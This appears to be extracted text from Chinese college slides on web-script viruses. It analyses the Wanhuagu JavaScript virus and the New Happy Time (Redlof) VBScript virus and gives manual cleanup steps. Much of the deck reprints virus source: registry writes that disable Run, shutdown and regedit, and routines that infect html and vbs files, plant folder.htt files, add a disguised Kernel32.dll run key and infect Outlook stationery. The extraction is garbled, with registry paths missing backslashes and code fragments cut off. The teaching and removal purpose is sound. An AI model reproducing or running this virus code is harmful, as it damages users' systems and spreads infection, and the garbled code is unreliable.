1、计算机病毒与防治,重庆电子工程职业学院,计算机病毒与防治课程小组,教学单元3-4 网页脚本病毒防治,万花谷病毒的手工清除,万花谷病毒特点及代码分析,梅丽莎病毒特点及代码分析,第二讲 典型网页病毒剖析,计算机病毒与防治课程小组,梅丽莎病毒的手工清除,万花谷病毒特点,计算机病毒与防治课程小组,病毒类型 网页脚本病毒,危险级别 ,影响系统 Win 9X/ME/NT/2000/XP/2003,万花谷病毒特点,病毒名称: 万花谷,万花谷病毒特点,计算机病毒与防治课程小组,曾经在互连网上散发过一个美丽诱人的网址“万花谷”,这实际是一个恶意“陷阱”,有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,这
2、是有人利用Java最新技术进行破坏的一个恶意网址。 本病毒是在页面中嵌入了恶意的JavaScript代码,它最初出现在 http:/ 个人网站上,随后其他一些个人主页也模仿或被感染了该病毒代码。,万花谷病毒特点,万花谷病毒特点,计算机病毒与防治课程小组,其破坏特性如下: (1)用户不能正常使用WINDOWS的DOS功能程序; (2)用户不能正常退出WINDOWS; (3)开始菜单上的“关闭系统“、“运行“等栏目被屏蔽,防止用户重新以DOS方式启动,关闭DOS命令、关闭REGEDIT命令等。 (4)将IE的浏览器的首页和收藏夹中都加入了含有该有害网页代码的网络地址。具体的表现形式是: (1)网络
3、地址是:; (2)在IE的“收藏夹”中自动加上“万花谷”的快捷方式,网络地址是:http:/;,万花谷病毒特点,万花谷病毒源码分析,计算机病毒与防治课程小组,document.write(“); function AddFavLnk(loc, DispName, SiteURL) var Shor = Shl.CreateShortcut(loc + “ + DispName +“.URL“); Shor.TargetPath = SiteURL;Shor.Save(); function f() Try /ActiveX initialization a1=document.applets0
4、; a1.setCLSID(“F935DC22-1CF0-11D0-ADB9-00C04FD58A0B“);a1.createInstance(); Shl = a1.GetObject();a1.setCLSID(“0D43FE01-F093-11CF-8940-00A0C9054228“);a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID(“F935DC26-1CF0-11D0-ADB9-00C04FD58A0B“); a1.createInstance(); Net = a1.GetObject();,万花谷病毒源码分析,计算机
5、病毒与防治课程小组,try if (documents .cookies.indexOf(“Chg“) = -1) /以下内容是对注册表进行修改 Shl.RegWrite (“HKCUSoftwareMicrosoftInternet ExplorerMainStart Page“,“http:/ var expdate = new Date(new Date().getTime() + (1); documents.cookies=“Chg=general; expires=“ + expdate.toGMTString() + “; path=/;“ /设置IE主页 Shl.RegWrit
6、e (“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun“, 01, “REG_BINARY“); /消除RUN按纽 Shl.RegWrite (“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose“, 01, “REG_BINARY“); /消除关闭按纽 Shl.RegWrite (“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff“, 01, “REG
7、_BINARY“); /消除注销按纽 Shl.RegWrite (“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives“, “63000000“, “REG_DWord“); /隐藏盘符,万花谷病毒源码分析,计算机病毒与防治课程小组,Shl.RegWrite (“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools“, “00000001“, “REG_DWORD“); /禁止注册表编辑器 Shl.RegWrite
8、 (“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop“, “00000001“, “REG_DWORD“); /屏蔽所有桌面图标 Shl.RegWrite (“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled“, “00000001“, “REG_DWORD“); /禁止运行Dos程序 Shl.RegWrite (“HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinO
9、ldAppNoRealMode“, “00000001“, “REG_DWORD“);/屏蔽所有桌面图标 Shl.RegWrite (“HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption“, “您的计算机已经被http:/hack.org/优化: )“);/设置开机提示 Shl.RegWrite (“HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText“, “您的计算机已经被http:/hack.org/优化:)“);/弹出窗口中的
10、内容,万花谷病毒源码分析,计算机病毒与防治课程小组,Shl.RegWrite (“HKLMSoftwareMicrosoftInternet ExplorerMainWindow Title“,“新的标题http:/ ,万花谷病毒发作现象,计算机病毒与防治课程小组,万花谷病毒发作部分现象截图,未中万花谷病毒时截图,万花谷病毒手工清除,计算机病毒与防治课程小组,方法一(利用 Windows 提供的恢复注册表功能): 在“开始-运行”中输入Regedit命令,打开注册表编辑器,点选“文件”菜单下的“导入”命令,选择以前备份的注册表文件,确定即可完成注册表的还原。,方法二(采用 VBS 或 JS 脚
11、本来删除或修改注册表项): 进入系统后打开记事本,输入以下内容:,万花谷病毒手工清除,计算机病毒与防治课程小组,Dim R Set R = CreateObject(“WScript.Shell“) Rem Write Regedit R.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesExplorerNoRun“, 0, “REG_BINARY“ ;修复RUN按纽 R.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesExplorerNoClose
12、“, 0, “REG_BINARY“ ;修复关闭按纽 R.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesExplorerNoLogOff“, 0, “REG_BINARY“ ;修复注销按纽 R.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesExplorerNoDrives“, “00000000“, “REG_DWORD“ ;取消隐藏盘符 R.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersio
13、n PoliciesSystemDisableRegistryTools“, “00000000“, “REG_DWORD“ ;取消禁止注册表 R.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesExplorerNoDesktop“,”00000000“,”REG_DWORD“ ;,万花谷病毒手工清除,R.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesWinOldAppDisabled“, “00000000“, “REG_DWORD“ R.Re
14、gWrite “HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesWinOldAppNoRealMode“, “00000000“, “REG_DWORD“ R.RegWrite “HKLMSoftwareMicrosoftWindowsCurrentVersion WinlogonLegalNoticeCaption“, “, “REG_SZ“ R.RegWrite “HKLMSoftwareMicrosoftWindowsCurrentVersion WinlogonLegalNoticeText“, “, “REG_SZ“ ;重设开机提
15、示 R.RegWrite “HKLMSoftwareMicrosoftInternet ExplorerMainWindowTitle”, “”, “REG_SZ“ ;重设IE标题 R.RegWrite “HKCUSoftwareMicrosoftInternet ExplorerMainStartPage“, “, “REG_SZ“,以文件名“RegClean.vbs”存盘后双击运行该文件。重新启动计算机即完成系统恢复。,计算机病毒与防治课程小组,新欢乐时光病毒特点,病毒名称: 新欢乐时光,病毒类型: 网页脚本病毒,危险级别: ,影响系统: Win 9X/ME/NT/2000,英文名包括有:
16、HTML.Redlof.A Symantec, VBS.Redlof AVP, VBS_REDLOF.A Trend, VBS/Redlof-A Sophos, VBS.KJ 金山, Script.RedLof 瑞星, VBS/KJ 江民,计算机病毒与防治课程小组,新欢乐时光病毒特点,新欢乐时光病毒特点,新欢乐时光病毒是一个多变形、加密病毒,感染扩展名为.html, .htm, .asp, .php, .jsp, .htt和.vbs文件,同时该病毒会大量生成folder.htt和desktop.ini,并在%windir%System中生成一个名字叫Kernel.dll(Windows 9x/
17、Me)或kernel32.dll(Windows NT/2000)的文件,修改.dll文件的打开方式,感染Outlook的信纸文件。感染这个病毒后有两个明显的特征:a.在每个目录中都会生成folder.htt(带毒文件)和desktop.ini(目录配置文件); b.电脑运行速度明显变慢,在任务列表中可以看到有大量的Wscript.exe程序在运行。,计算机病毒与防治课程小组,新欢乐时光病毒特点,新欢乐时光病毒这个网页病毒利用微软IE的漏洞,通过感染一些.html, .htm, .asp, .php, .jsp, .htt和.vbs等文件进行传播。 然而由于病毒的本身特性,其传播的途径也有多种
18、: a.通过网页传播。由于病毒会感染网页文件,如果那些网站站长不小心将带毒的网页放到网站上,用户不小心浏览了这些网页就会被病毒感染了; b.通过局域网。当本地计算机设有可写权限的共享目录,或者访问局域网上带毒的计算机的时候就会感染病毒;对于Windows NT/2000系统,由于存在默认的管理用共享目录,因此,管理员的疏忽也可能会造成感染。 c.通过电子邮件。如果发件人使用了带毒的网页文件作为信纸,或者信件中有带毒的网页文件,那么,只要收件人浏览了邮件,也会被感染病毒; d.通过移动介质,如软盘、移动硬盘、光盘等。由于病毒会生成folder.htt和desktop.ini,所以在打开移动介质或
19、打开其文件夹的时候,就会激活并感染病毒。,计算机病毒与防治课程小组,新欢乐时光代码分析,Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk Sub KJ_start() 初始化变量 KJSetDim() 初始化环境 KJCreateMilieu() 感染本地或者共享上与html所在目录 KJLikeIt() 通过vbs感染Outlook邮件模板 KJCreateMail() 进行病毒传播 KJPropagate() End Sub,计算机病毒与防治课程小组,新欢乐时光病毒
20、主运行程序代码,新欢乐时光代码分析,Function KJAppendTo(FilePath,TypeStr) On Error Resume Next 以只读方式打开指定文件 Set ReadTemp = FSO.OpenTextFile(FilePath,1) 将文件内容读入到TmpStr变量中 TmpStr = ReadTemp.ReadAll 判断文件中是否存在“KJ_start()”字符串,若存在说明已经感染,退出函数;若文件长度小于1,也退出函数。 If Instr(TmpStr,“KJ_start()“) 0 Or Len(TmpStr) “ & vbCrLf & TmpStr
21、& vbCrLf & HtmlText, 函数功能:向指定类型的指定文件追加病毒,计算机病毒与防治课程小组,FileTemp.Close Set FAttrib = FSO.GetFile(FilePath) FAttrib.attributes = 34 Else ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,8) If TypeStr = “html“ Then FileTemp.Write vbCrLf & “ & vbCrLf & “ & vbCrLf & HtmlText ElseIf TypeStr = “vbs“
22、Then FileTemp.Write vbCrLf & VbsText End If FileTemp.Close End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,新欢乐时光代码分析,计算机病毒与防治课程小组,函数功能:改变子目录以及盘符,Function KJChangeSub(CurrentString,LastIndexChar) 判断是否是根目录 If LastIndexChar = 0 Then 如果是根目录 :如果是C:,返回FinalyDisk盘,并将SubE置为0如果不是C:,返回将当前盘符递减1,并将SubE置为0 If Left(LC
23、ase(CurrentString),1) = LCase(“c“) Then KJChangeSub = FinalyDisk & “:“ SubE = 0 Else KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1) - 1) & “:“ SubE = 0 End If Else 如果不是根目录,则返回上一级目录名称 KJChangeSub = Mid(CurrentString,1,LastIndexChar) End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,Function KJCreateMail
24、() On Error Resume Next 如果当前执行文件是“html“的,就退出函数 If InWhere = “html“ Then Exit Function End If 取系统盘的空白页的路径 ShareFile = Left(WinPath,3) & “Program FilesCommon FilesMicrosoft SharedStationeryblank.htm“ 如果存在这个文件,就向其追加病毒体 ,否则生成含有病毒体的文件 If (FSO.FileExists(ShareFile) Then Call KJAppendTo(ShareFile,“html“) E
25、lse Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) FileTemp.Write “ & vbCrLf & “ & vbCrLf & HtmlText FileTemp.Close End If,功能:感染邮件部分,新欢乐时光代码分析,计算机病毒与防治课程小组, 取得当前用户的ID和OutLook的版本 DefaultId = WsShell.RegRead(“HKEY_CURRENT_USERIdentitiesDefault User ID“) OutLookVersion = WsShell.RegRead(“HKEY_LOCAL_
26、MACHINESoftwareMicrosoftOutlook ExpressMediaVer“) 激活信纸功能,并感染所有信纸 WsShell.RegWrite “HKEY_CURRENT_USERIdentities“&DefaultId&“SoftwareMicrosoftOutlook Express“& Left(OutLookVersion,1) &“.0MailCompose Use Stationery“,1,“REG_DWORD“ Call KJMailReg(“HKEY_CURRENT_USERIdentities“&DefaultId&“SoftwareMicrosoft
27、Outlook Express“& Left(OutLookVersion,1) &“.0MailStationery Name“,ShareFile) Call KJMailReg(“HKEY_CURRENT_USERIdentities“&DefaultId&“SoftwareMicrosoftOutlook Express“& Left(OutLookVersion,1) &“.0MailWide Stationery Name“,ShareFile),新欢乐时光代码分析,计算机病毒与防治课程小组,WsShell.RegWrite “HKEY_CURRENT_USERSoftwareMi
28、crosoftOffice9.0OutlookOptionsMailEditorPreference“,131072,“REG_DWORD“ Call KJMailReg(“HKEY_CURRENT_USERSoftwareMicrosoftWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settings0a0d020000000000c000000000000046001e0360“,“blank“) Call KJMailReg(“HKEY_CURRENT_USERSoftwareMicrosoftWindows
29、NTCurrentVersionWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settings0a0d020000000000c000000000000046001e0360“,“blank“) WsShell.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0OutlookOptionsMailEditorPreference“,131072,“REG_DWORD“ Call KJMailReg(“HKEY_CURRENT_USERSoftwareMicro
30、softOffice10.0CommonMailSettingsNewStationery“,“blank“) KJummageFolder(Left(WinPath,3) & “Program FilesCommon FilesMicrosoft SharedStationery“) End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,Function KJCreateMilieu() On Error Resume Next TempPath = “ 判断操作系统是NT/2000还是9X If Not(FSO.FileExists(WinPath & “WScript.
31、exe“) Then TempPath = “system32“ End If 为了文件名起到迷惑性,并且不会与系统文件冲突。 如果是NT/2000则启动文件为systemKernel32.dll ,如果是9x启动文件则为systemKernel.dll If TempPath = “system32“ Then StartUpFile = WinPath & “SYSTEMKernel32.dll“ Else StartUpFile = WinPath & “SYSTEMKernel.dll“ End If 添加Run值,添加刚才生成的启动文件路径 WsShell.RegWrite “HKE
32、Y_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunKernel32“,StartUpFile, 功能:创建系统环境,新欢乐时光代码分析,计算机病毒与防治课程小组, 拷贝前期备份的文件到原来的目录 FSO.CopyFile WinPath & “webkjwall.gif“,WinPath & “webFolder.htt“ FSO.CopyFile WinPath & “system32kjwall.gif“,WinPath & “system32desktop.ini“ 向%windir%webFolder.htt追加病毒体 Ca
33、ll KJAppendTo(WinPath & “webFolder.htt“,“htt“) 改变dll的MIME头 ,改变dll的默认图标 ,改变dll的打开方式 WsShell.RegWrite “HKEY_CLASSES_ROOT.dll“,“dllfile“ WsShell.RegWrite “HKEY_CLASSES_ROOT.dllContent Type“,“application/x-msdownload“ WsShell.RegWrite “HKEY_CLASSES_ROOTdllfileDefaultIcon“,WsShell.RegRead(“HKEY_CLASSES_R
34、OOTvxdfileDefaultIcon“) WsShell.RegWrite “HKEY_CLASSES_ROOTdllfileScriptEngine“,“VBScript“ WsShell.RegWrite “HKEY_CLASSES_ROOTdllFileShellOpenCommand“,WinPath & TempPath & “WScript.exe “%1“ %*“,新欢乐时光代码分析,计算机病毒与防治课程小组,WsShell.RegWrite “HKEY_CLASSES_ROOTdllFileShellExPropertySheetHandlersWSHProps“,“60
35、254CA5-953B-11CF-8C96-00AA00B8708C“ WsShell.RegWrite “HKEY_CLASSES_ROOTdllFileScriptHostEncode“,“85131631-480C-11D2-B1F9-00C04F86C324“ 启动时加载的病毒文件中写入病毒体 Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) FileTemp.Write VbsText FileTemp.Close End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:针对html文件进行处理,如果访问的是
36、本地的或者共享上的文件,感染目录,Function KJLikeIt() 如果当前执行文件不是“html“的就退出程序 If InWhere “html“ Then Exit Function End If ThisLocation = document.location 取得文档当前路径 If Left(ThisLocation, 4) = “file” Then 如果是本地或网上共享文件 ThisLocation = Mid(ThisLocation,9) 如果这个文件扩展名不为空,在ThisLocation中保存它的路径 If FSO.GetExtensionName(ThisLocat
37、ion) “ then ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation) End If If Len(ThisLocation) 3 Then 如果ThisLocation的长度大于3就尾追一个“ ThisLocation = ThisLocation & “ End If KJummageFolder(ThisLocation) 感染这个目录 End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:如果注册表指定键值不存在,则向指定位
38、置写入指定文件名,Function KJMailReg(RegStr,FileName) On Error Resume Next 如果注册表指定键值不存在,则向指定位置写入指定文件名 RegTempStr = WsShell.RegRead(RegStr) If RegTempStr = “ Then WsShell.RegWrite RegStr,FileName End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:遍历并返回目录路径,Function KJOboSub(CurrentString) SubE = 0 TestOut = 0 Do W
39、hile True TestOut = TestOut + 1 If TestOut 28 Then CurrentString = FinalyDisk & “:“ Exit Do End If On Error Resume Next 取得当前目录的所有子目录,并且放到字典中 Set ThisFolder = FSO.GetFolder(CurrentString) Set DicSub = CreateObject(“Scripting.Dictionary“) Set Folders = ThisFolder.SubFolders FolderCount = 0 For Each Te
40、mpFolder in Folders FolderCount = FolderCount + 1 DicSub.add FolderCount, TempFolder.Name Next,新欢乐时光代码分析,计算机病毒与防治课程小组, 如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1 If DicSub.Count = 0 Then LastIndexChar = InstrRev(CurrentString,“,Len(CurrentString)-1) SubString = Mid(CurrentString,LastIndexChar+1,L
41、en(CurrentString)-LastIndexChar-1) CurrentString = KJChangeSub(CurrentString,LastIndexChar) SubE = 1 Else 如果存在子目录 如果SubE为0,则将CurrentString变为它的第1个子目录 If SubE = 0 Then CurrentString = CurrentString & DicSub.Item(1) & “ Exit Do Else 如果SubE为1,继续遍历子目录,并将下一个子目录返回 j = 0,新欢乐时光代码分析,计算机病毒与防治课程小组,For j = 1 To
42、FolderCount If LCase(SubString) = LCase(DicSub.Item(j) Then If j FolderCount Then CurrentString = CurrentString & DicSub.Item(j+1) & “ Exit Do End If End If Next LastIndexChar = InstrRev(CurrentString,“,Len(CurrentString)-1) SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexC
43、har-1) CurrentString = KJChangeSub(CurrentString,LastIndexChar) End If End If Loop KJOboSub = CurrentString End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:病毒传播,Function KJPropagate() On Error Resume Next RegPathvalue = “HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressDegree“ DiskDegree = WsShell.RegRead(R
44、egPathvalue) 如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘 If DiskDegree = “ Then DiskDegree = FinalyDisk & “:“ End If 继DiskDegree置后感染5个目录 For i=1 to 5 DiskDegree = KJOboSub(DiskDegree) KJummageFolder(DiskDegree) Next 将感染记录保存在“HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressDegree“键值中 WsShell.RegWrite R
45、egPathvalue,DiskDegree End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:感染指定目录,Function KJummageFolder(PathName) On Error Resume Next 取得目录中的所有文件集 Set FolderName = FSO.GetFolder(PathName) Set ThisFiles = FolderName.Files HttExists = 0 For Each ThisFile In ThisFiles FileExt = UCase(FSO.GetExtensionName(ThisFile
46、.Path) 判断扩展名 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体 若是VBS则向文件中追加VBS版的病毒体 若是HTT,则标志为已经存在HTT了 If FileExt = “HTM“ Or FileExt = “HTML“ Or FileExt = “ASP“ Or FileExt = “PHP“ Or FileExt = “JSP“ Then Call KJAppendTo(ThisFile.Path,“html“) ElseIf FileExt = “VBS“ Then Call KJAppendTo(ThisFile.Path,“vbs“) Else
47、If FileExt = “HTT“ Then HttExists = 1 End If Next,新欢乐时光代码分析,计算机病毒与防治课程小组, 如果所给的路径是桌面,则标志为已经存在HTT了 If (UCase(PathName) = UCase(WinPath & “Desktop“) Or (UCase(PathName) = UCase(WinPath & “Desktop“)Then HttExists = 1 End If 如果不存在HTT 向目录中追加病毒体 If HttExists = 0 Then FSO.CopyFile WinPath & “system32desktop.ini“,PathName FSO.CopyFile WinPath & “webFolder.htt“,PathName End If End Function,新欢乐时光代码分析,计算机病毒与防治课程小组,功能:定义FSO,WsShell对象,取得最后一个可用磁盘卷标,生成传染用的加密字串 备份系统中的webfolder.htt和system32desktop.ini,